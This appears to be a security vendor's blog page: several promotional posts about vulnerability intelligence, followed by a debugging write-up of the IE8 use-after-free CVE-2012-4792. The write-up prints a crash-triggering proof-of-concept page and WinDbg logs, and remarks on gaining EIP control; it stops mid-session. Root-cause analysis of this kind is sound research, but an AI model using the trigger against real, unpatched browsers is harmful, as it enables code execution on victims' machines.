Why Choose Exodus Intelligence for Enhanced Vulnerability Management? 

In the contemporary digital landscape, vulnerability management teams and analysts are overwhelmed by countless alerts, data streams, and patch recommendations. The sheer volume of information is daunting and frequently misleading. Ideally, the systems generating these alerts should streamline and prioritize the information. While AI systems and products are not yet mature enough to effectively filter out the noise, the solution still lies with humans—particularly, the experts who can accurately identify what’s critical and advise where to concentrate limited resources.  That’s where Exodus Intelligence comes in. Exodus focuses on investigating the vulnerabilities that matter, helping teams to reduce efforts on unnecessary alerting while focusing attention on critical and immediate areas of concern. 

 EXPERTISE IN (UN)EXPLOITABILITY 

 The threat landscape is diverse, ranging from payloads and malware to exploits and vulnerabilities. At Exodus, we target the root of the issue—the vulnerabilities. However, not just any vulnerability catches our attention. We dedicate our expertise to uncovering, analyzing, and documenting the most critical vulnerabilities within realistic, enterprise-level products that are genuinely exploitable. This emphasis on exploitability is intentional and pivotal. The intelligence we offer guides our customers towards becoming UN-EXPLOITABLE. 

 UNRIVALED TALENT POOL 

Exodus has fostered a culture over more than a decade that attracts and nurtures white hat hackers. We employ some of the world’s most advanced reverse engineers to conduct research for our customers, providing them with actionable intelligence and leading-edge insights to harden their network. Our relentless efforts are geared towards staying at the forefront of leading techniques and skills essential to outpace the world’s most advanced adversaries. Understanding and defending against a hacker necessitates a hacker’s mindset and skill set, which is precisely what we employ and offer. 

 RESPECTED INDUSTRY STANDING 

 Our team has won pwn2own competitions, authored books, and trained the most advanced teams worldwide. Our expertise and research have been relied upon by the United States and allied nations’ agencies for years, establishing a global reputation for us as one of the most advanced, mature, and reputable teams in this field. 

 PRECISE DETECTION 

 Exodus researchers dedicate weeks or even months to delve deep into the code to discover unknown vulnerabilities and analyze known (patched) vulnerability root causes. Our researchers develop an in-depth understanding of every vulnerability we report, often surpassing the knowledge of the developers themselves. The mitigation and detection guidance we provide ensures the accurate detection and mitigation of vulnerabilities, eliminating false positives. We don’t merely attempt to catch the exploit; we actually do. 

 EXCEPTIONAL VALUE 

 We have a dedicated team of over 30 researchers from across the globe, focusing solely on vulnerability research. In many companies, professionals and security engineers tasked with managing vulnerabilities and threats often have to deal with tasks outside their core competency. Now, imagine leveraging the expertise and output of 30 researchers dedicated to vulnerability research, all for the price of ONE cybersecurity engineer. Need we say more?… 

 Become the next forward-thinking business to join our esteemed customer list by filling out this form:

ABOUT EXODUS INTELLIGENCE 

Exodus Intelligence detects the undetectable.  Exodus discovers, analyzes and proves N-Day and Zero-Day vulnerabilities in our secure lab and provides our research to credentialed customers through our secure portal or API.  

Exodus’ Zero-Day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Exodus’ N-Day Subscription provides customers with analysis of critically exploitable vulnerability reports, known to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Customers gain access to a proprietary library of N-Day and Zero-Day vulnerability reports in addition to proof of concepts and highly enriched vulnerability intelligence packages. These Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities.  Exodus enables customers to focus resources on establishing defenses against the most serious threats to your enterprise for less than the cost of a single cybersecurity engineer. 

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.

An Unpatched Vulnerability, A Substantial Liability

An Unpatched Vulnerability, A Substantial Liability

Even the largest and most mature enterprises have trouble finding and patching vulnerabilities in a timely fashion. As we see in this article challenges include getting patches pushed through a sophisticated supply chain and ultimately to a system whose end user may have devices configured to not allow automated remote patch application. We see this play out with every product that contains a line of code, from the simplest programs to large SaaS platforms with stringent performance, scalability, and availability requirements: patches need to be implemented at the earliest opportunity in order to avert catastrophe.

This plague of failing to patch vulnerabilities is infesting enterprises globally and is spreading like wildfire. It seems that nearly every day brings another breach, another company forced to spend millions reacting after the fact to a threat that may have been prevented. These attacks are often successful due to unpatched systems.  Victim companies that could have been proactive and taken measures to prevent these attacks, now find themselves in the spotlight with diminished reputation, the possibility of regulatory fines, and lost revenue. 

We see this pattern far too often and want to help. Exodus Intelligence’s new EVE (Exodus Vulnerability Enrichment) platform delivers real time updates on things that your security team needs to be worried about and helps you prioritize patches with our exclusive XI score that shows you which vulnerabilities are most likely to be exploited in the wild. EVE combines insight regarding known vulnerabilities from our world class researchers with supervised machine learning analysis and carefully curated public data to make available the most actional intelligence in the quickest possible manner. 

EVE is a critical tool in the war against cyberattacks in the commercial sector, allowing companies to leverage the same Exodus data trusted by governments and agencies for more than a decade. Never let your business be put in the position of reacting to an attack, get EVE from Exodus Intelligence and be proactive rather than reactive.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.

The Death Star Needed Vulnerability Intelligence

The Death Star Needed Vulnerability Intelligence

Darth Vader and his evil colleagues aboard the Death Star could have seriously benefited from world-class vulnerability intelligence. Luckily for the Rebel Alliance, Vader was too focused on threat intelligence alone.

If you’ve ever seen the original Star Wars story, you might recall that the evil Empire was confident with their defensive intelligence as well as their seemingly impenetrable defensive systems. Their intel notified them of every X-Wing, pilot, and droid headed in their direction. They were flush with anti-aircraft turrets, tie fighters, and lasers to attack those inbound threats. 

The Death Star was a fortress—right?

This approach to security isn’t unlike the networks and systems of many companies who have a vast amount of threat intelligence reporting on all known exploits in exceptional detail. Sometimes, though, lost in the noise of all the threats reported, there is a small opening. If exploited, that small opening can lead to a chain reaction of destruction. The Rebel Alliance attacked the one vulnerability they found—with tremendous results to show for it. 

Unfortunately, there are bad actors out there who are also looking to attack your systems, who can and will find a way to penetrate your seemingly robust defenses. Herein lies the absolute necessity of vulnerability intelligence. 

Exodus provides world-class vulnerability intelligence entrusted by government agencies and Fortune 500 companies. We have a team of world class researchers with hundreds of years of combined experience, ready to identify your organization’s vulnerabilities, even the smallest of openings matter. With every vulnerability we detect, we neutralize thousands of potential exploits.

Learn more about our intelligence offerings and consider starting a trial:

For more information, visit www.exodusintel.com  or https://info.exodusintel.com/defense-offer-lp/ to see trial offers.

Everything Old Is New Again

Everything Old Is New Again,
Exodus Has A Solution

It is said that those who are ignorant of history are doomed to repeat it, and this article from CSO shows that assertion reigns true in cybersecurity as well.  Threat actors are continuing to exploit vulnerabilities that have been known publicly since 2017 and earlier.  Compromised enterprises referenced in the article had five years or longer to patch or mitigate these vulnerabilities but failed to do so.  Rarely does a month go by without another article showcasing how companies are continuously compromised by patched vulnerabilities.  Why does this keep happening?

Things are hard and vulnerability management is no exception.  Many enterprises manage tens, or hundreds, of thousands of hosts, each of which may have any number of vulnerabilities at any given time.  As you may well imagine, monitoring such a vast and dynamic attack surface can be tremendously challenging.  The vulnerability state potentially changes on each host with every application installed, patch applied, and configuration modified.  Given the numbers of vulnerabilities cited in the CSO article previously mentioned, tens of thousands of vulnerabilities reported per year and increasing, how can anything short of a small army ever hope to plug these critical infrastructure holes?

If you accept that there is no reasonable way to patch or mitigate every single vulnerability then you must pivot to prioritizing vulnerabilities and managing a reasonable volume off the top, therefore minimizing risk in the context of available resources.  There are many ways to prioritize vulnerabilities, provided you have the necessary vulnerability intelligence to do so.  Filter out all vulnerabilities on platforms that do not exist in your environment.  Focus on those vulnerabilities that exist on public-facing hosts and then work inward.  As you are considering these relevant vulnerabilities, sort them by the likelihood of each being exploited in the wild.

Exodus Intelligence makes this type of vulnerability intelligence and much more available in our EVE (Exodus Vulnerability Enrichment) platform.  Input CPEs that exist within your environment into the EVE platform and see visualizations of vulnerability data that apply specifically to you.  We combine carefully curated public data with our own machine learning analysis and original research from some of the best security minds in the world and allow you to visualize and search it all.  You can also configure custom queries with results that you care about, schedule them to run on a recurring basis, and send you a notification when a vulnerability is published that meets your criteria.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

 

For more information, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.

CISA Urges Caution, One Year On From Invasion of Ukraine

CISA Urges Caution, One Year On From Invasion of Ukraine

One year removed from Russia’s invasion of Ukraine, CISA has issued a warning to the United States and its European allies: increased cyber-attacks may be headed to your network.

 As tensions abroad remain high, the cyber landscape will be an extension of the physical battleground. More than ever, understanding where and how your organization is vulnerable is an essential part of risk management.

 At Exodus Intelligence, the leader in vulnerability intelligence, we seek to proactively understand your organization’s vulnerabilities, to assess the associated risk of those vulnerabilities, and to provide focused mitigation guidance based on our expert research.

 Rather than fighting thousands of threats individually, Exodus focuses on neutralizing thousands of potential exploits all at once, by addressing the root cause of your system’s vulnerabilities.

 Be sure to follow along with CISA alerts and advisories to remain vigilant on the developing threat landscape during this turbulent time. We have extensive coverage of the vulnerabilities in CISA’s Known Exploited Vulnerabilities catalog and provide mitigation guidance on those vulnerabilities to ensure your organization stays protected.

 Learn more about our product offerings and solutions to see how we can protect your organization:

 N-Day

 Zero-Day

 EVE

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

Today Exodus Intelligence is excited to announce EVE (Exodus Vulnerability Enrichment), our world-class vulnerability intelligence platform. EVE allows a wide range of security operations professionals to leverage Exodus’ state-level vulnerability research. This allows those professionals to prioritize mitigation and remediation efforts, enrich event data and incidents, be alerted to new noteworthy vulnerabilities relevant to their systems, and take advantage of many other available use cases valuable in defending their critical infrastructure.

EVE makes our robust intelligence available for the first time to enterprises for use in the defense of growing cyberattacks.  The API to the Exodus body of research enables us to provide simple, out of the box integration with SIEMs, SOARs, ticketing systems and other infrastructure components that can employ contextual data.  Additionally, it enables security operations teams to develop their own custom tooling and applications and integrate our vulnerability research.

Organizations with the ability to develop automation playbooks and other tools have been able to enrich available security data, enhance investigation and incident response capabilities, prioritize vulnerability remediation efforts, and more. We can now expand that capability and visibility to the rest of the security operations team with EVE. 

EVE provides users with an intuitive interface to Exodus’ intelligence corpus made up of original research, machine learning analysis, and carefully curated public data.  This interface includes regular automated updates to intelligence data, integration with environment-specific platform and vulnerability data, interactive visualizations that operationalize the research data for SOC analysts and risk management personnel, multidimensional search capability including filters which narrow results to only vulnerabilities that exist in the user’s environment and are likely to be exploited, and the ability to schedule searches to run on a recurring basis and email alerts to the user.

EVE capabilities include:

  • Dynamic, automated intelligence feed: Vulnerability research data is updated at minimum once per day with likelihood of a vulnerability to be exploited (XI Score), mitigation guidance, and other original research combined with curated public vulnerability data to maximize visibility of the attack surface.
  • Integration with the IT ecosystem: CPE data from vulnerability scans of the infrastructure can be input into EVE and applied as context to searches and visualizations keeping focus on relevant vulnerabilities.
  • Smart data visualization: The dashboard provides a wealth of information including a real-time likelihood that an existing vulnerability will be exploited in the environment, vulnerabilities grouped and sorted by categories such as attack vector or disclosure month, and which platforms in the environment have the most vulnerabilities. All visualizations are interactive allowing the user to drill into the vulnerability details making the data actionable.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

Exodus Intelligence, the leader in Vulnerability Research, today announced it has been authorized by the CVE Program as a CVE Numbering Authority (CNA).  As a CNA, Exodus is authorized to assign CVE IDs to newly discovered vulnerabilities and publicly disclose information about these vulnerabilities through CVE Records.

“Exodus is proud to be authorized as a CVE Numbering Authority which will allow us to work even more closely with the security community in identifying critically exploitable vulnerabilities,” said Logan Brown, Founder and CEO of Exodus.

The CVE Program is sponsored by the Cybersecurity and Infrastructure Security Agency (CISA), of the U.S. Department of Homeland Security (DHS) in close collaboration with international industry, academic, and government stakeholders. It is an international, community-based effort with a mission to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The mission of CVE is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The discovered vulnerabilities are then assigned and published to the CVE List, which feeds the U.S. National Vulnerability Database (NVD). Exodus joins a global list of 269 trusted partners across 35 countries committed to strengthening the global cyber security community through discovering and sharing valuable cyber intelligence.

About Exodus Intelligence

Exodus employs some of the world’s most advanced reverse engineers and exploit developers to provide Government and Enterprise the unique ability to understand, prepare, and defend against the ever-changing landscape of Cyber Security. By providing customers with actionable Vulnerability Intelligence including deep vulnerability analysis, detection and mitigation guidance, and tooling to test defenses, our customers receive leading edge insights to harden their network or achieve mission success.

Happy New Year Analysis of CVE-2012-4792

A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393

Analysis

The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
        var e0 = null;
        var e1 = null;
        var e2 = null;

        try {
            e0 = document.getElementById("a");
            e1 = document.getElementById("b");
            e2 = document.createElement("q");
            e1.applyElement(e2);
            e1.appendChild(document.createElement('button'));
            e1.applyElement(e0);
            e2.outerText = "";
            e2.appendChild(document.createElement('body'));
        } catch(e) { }
        CollectGarbage();
        var eip = window;
        var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        eip.location = unescape("AA" + data);
    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;form id="a"&gt;
    &lt;/form&gt;
    &lt;dfn id="b"&gt;
    &lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.

Analysis-1

This resulted in the following windbg log:

<pre>
(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022&gt; !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175


1:022&gt; kv
ChildEBP RetAddr  Args to Child
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

</pre>

Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor'”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

When we look back at the HTML code some of it makes sense

<pre>
e1.appendChild(document.createElement('button'));
</pre>

This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.

Analysis-2

If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.

Analysis-3

By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
                var e0 = null;
        var e1 = null;
        var e2 = null;
        try {
            Math.atan2(0xbadc0de, "before get element a")
            e0 = document.getElementById("a");
            Math.atan2(0xbadc0de, "before get element b")
            e1 = document.getElementById("b");
            Math.atan2(0xbadc0de, "before create element q")
            e2 = document.createElement("q");
            Math.atan2(0xbadc0de, "before apply element e1(b) -&gt; e2(q)")
            e1.applyElement(e2);
            Math.atan2(0xbadc0de, "before appendChild create element button")
            e1.appendChild(document.createElement('button'));
            Math.atan2(0xbadc0de, "before applyElement e1 -&gt; e0")
            e1.applyElement(e0);
            Math.atan2(0xbadc0de, "before e2 outertext")
            e2.outerText = "";
            Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
            e2.appendChild(document.createElement('body'));
            Math.atan2(0xbadc0de, "All done inside try loop")
        } catch(e) { }
        Math.atan2(0xbadc0de, "collecting garbage")
        CollectGarbage();
        Math.atan2(0xbadc0de, "Done collecting garbage")

    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;form id="a"&gt;
    &lt;/form&gt;
    &lt;dfn id="b"&gt;
    &lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

We now run the poc again.

<pre>
0:000&gt; sxe ld:jscript
0:000&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", eax;.echo;g"
1:025&gt; bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", eax;.echo;g"
1:025&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -&gt; e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????
</pre>

We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.

Lets go back to the crash and see where edi (pointing to the freed memory) comes from.

Analysis-4

Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.

<pre>
0:000&gt; sxe ld:mshtml
0:000&gt; g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
1:025&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:025&gt; bp !mshtml + 0x44224
1:025&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025&gt; g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025&gt; t

&lt;snip&gt;

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025&gt;
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025&gt;
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025&gt;
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025&gt; dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.&lt;............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025&gt; !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025&gt; p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch
</pre>

The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.

<pre>

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:Program FilesInternet Exploreriexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:WINDOWSsystem32kernel32.dll
ModLoad: 77dd0000 77e6b000   C:WINDOWSsystem32ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:WINDOWSsystem32RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:WINDOWSsystem32Secur32.dll
ModLoad: 7e410000 7e4a1000   C:WINDOWSsystem32USER32.dll
ModLoad: 77f10000 77f59000   C:WINDOWSsystem32GDI32.dll
ModLoad: 77c10000 77c68000   C:WINDOWSsystem32msvcrt.dll
ModLoad: 77f60000 77fd6000   C:WINDOWSsystem32SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:WINDOWSsystem32SHELL32.dll
ModLoad: 774e0000 7761e000   C:WINDOWSsystem32ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:WINDOWSsystem32iertutil.dll
ModLoad: 78130000 78263000   C:WINDOWSsystem32urlmon.dll
ModLoad: 77120000 771ab000   C:WINDOWSsystem32OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000&gt; sxe ld:mshtml
0:000&gt; g
